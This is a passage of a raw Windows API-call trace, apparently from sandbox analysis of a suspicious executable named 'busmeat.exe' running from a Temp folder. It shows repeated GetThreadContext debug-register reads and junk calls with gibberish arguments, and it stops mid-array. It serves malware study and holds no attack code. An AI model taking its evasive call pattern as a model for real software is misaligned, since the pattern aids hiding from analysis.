	[0066.293] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.293] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.294] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.294] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.294] GetConsoleCP () returned 0x0
	[0066.294] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.294] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.295] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.295] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.295] GetConsoleCP () returned 0x0
	[0066.295] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 